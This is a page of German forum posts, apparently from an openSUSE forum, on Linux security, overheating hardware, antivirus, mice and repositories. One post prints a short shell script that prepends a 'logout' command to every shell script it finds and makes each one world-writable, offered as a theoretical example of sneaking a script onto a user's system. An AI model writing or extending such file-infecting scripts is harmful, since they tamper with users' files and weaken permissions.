Beiträge von Alero

Bedeutet im Umkehrschluss:
Wenn ich mich an die Linux-Spielregeln halte (Account ohne Root-Rechte) und nicht alles, was mir unter kommt wild anklicke ohne nachzudenken, wenn ich mein System vernünftig konfiguriere, Java ausschalte und die empfohlenen Updates einspiele ist Linux eigentlich fast unangreifbar bzw. geschützt vor den Tücken des Alltags.

Es ging wie gesagt nur um ein theoretisches Konstrukt, da hier oft nach der Sicherheit von Linux gefragt wird.

Meiner unmaßgeblichen Meinung nach ist Linux im Alltagsbetrieb und unter gewissen Voraussetzungen eigentlich so sicher, wie ein Betriebssystem nur sein kann.

Das Script erhebt jetzt keinen Anspruch auf Fehlerfreiheit. Es war nur mal so als Beispiel gedacht

Mir ging es nur darum, ob so etwas im Normalfall möglich wäre.
Wenn ich einen Rechner gezielt angreifen will, schaffe ich das auch irgendwann. Ohne Frage.
Aber so im Alltagsbetrieb wäre das wohl eher schwierig.

Zitat von Altrici

leider kann ich zum eigentlichen lösen des Problems nicht viel dazu beitragen,
aber Tastenkombination STRG+ALT+ENTF geht unter openSuSE nicht.

Sagt wer? Das ist falsch. STRG-ALT-ENTF ruft den Abmelde-Dialog auf.

Dann lese mal hier bissel rum. Allgemeine Diskussionen über Repos:

Welche Repos sind Pflicht?

Hi Leute

Diese Frage behandelt jetzt nur die rein technische Möglichkeit, einen Angriff auf Linux-Systeme durchzuführen.

Ist es möglich, einem Linux-User ein Shell-Script per Mail oder sonst wie unterzujubeln und es auf seinem Rechner auszuführen?

In etwa so eines, wobei ich sagen kann, dass dieses noch relativ harmlos und beliebig erweiterbar ist.

#!/bin/sh
for f in 'find . -type f -exec grep -ql #\!/bin/sh {} \;'


do


echo "logout" > tmp$$
cat $f >> tmp$$
mv tmp$$ $f
chmod 777 $f


done

In dem Script wird nur der logout-Befehl, welcher den gerade angemeldeten User abmeldet, angefügt. Ein doch recht fieses Script, wenn es denn zur Ausführung gelangen könnte.

Das theoretische Fragekonstrukt ist folgendes. Ist es unter normalen Umständen möglich, ein solches oder ähnlich geartetes Script auf einem Linux-Rechner ausführen zu lassen, ohne dass der User was davon merkt?

Ich denke, eher nicht, weil hier die Sicherheitsmechanismen von Linux greifen.
Bedeutet, wenn der User nicht als Root arbeitet und die zugeschickten Scripte hinterfragt, besteht kaum eine Möglichkeit des Ausführens, oder?

Wie seht ihr das?

Definitiv ein Hardware-Problem. Das hat mit Susi nichts zu tun.

muck
wenn er die Wärmeleitpaste vergessen hätte, wäre jetzt schon Feierabend.
Aber ich denke auch, dass das ein thermisches Problem ist.

Wobei ich mir noch die Frage stelle, ob die Komponenten neu sind oder ob da was gebrauchtes zusammengeschraubt wurde.
Ich baue auch alle meine Rechner selber zusammen. Jedoch fast ausschließlich aus Neuteilen.

Entschuldige, dass ich das sage, aber du bist der typische Windows-User. Unter Windows ist es unumgänglich, dass man ein Viren-Programm installiert.

Kollege, dass hier ist Linux und hier brauchst du weder ein Virenprogramm noch einen Scanner oder ähnlichen Unsinn, wenn du keinen Server betreibst, der Windows-Clients hat.

---
Und wieso willst du mit "make" von Konsole installieren? Es gibt Yast und die Repos. Geh erst mal in die Fahrschule und lerne Auto fahren, ehe du dich hinter das Steuer eines Sattelschleppers klemmst.

Einen Beitrag als erledigt oder gelöst markieren, indem du deinen ersten Post bearbeitest und vor deiner Überschrift in eckigen Klammern einfach gelöst oder erledigt hinschreibst.

Oder mal hier lesen:

Frage zur Sicherheit

Dann markiere deinen Beitrag bitte als gelöst.

Das ist doch so eine exotische Gamer-Maus. Normalerweise bringt Susi schon alle Treiber mit um eine Maus zu erkennen und mit einer zu arbeiten. Allerdings wirst du mit dieser Maus unter Susi nichts außer den normalen Funktionen nutzen können, da für so etwas exotisches wohl keine Linux-Treiber vorhanden sind.

Hast du mal versucht, eine andere einfache Maus anzustecken? Falls ja, tritt da der Effekt auch auf?

Ist das eine Frage, eine Feststellung oder ein Hinweis?

Für eine Frage beinhaltet sie keinerlei Informationen, für eine Feststellung oder einen Hinweis ...

.... zur Kenntnis genommen.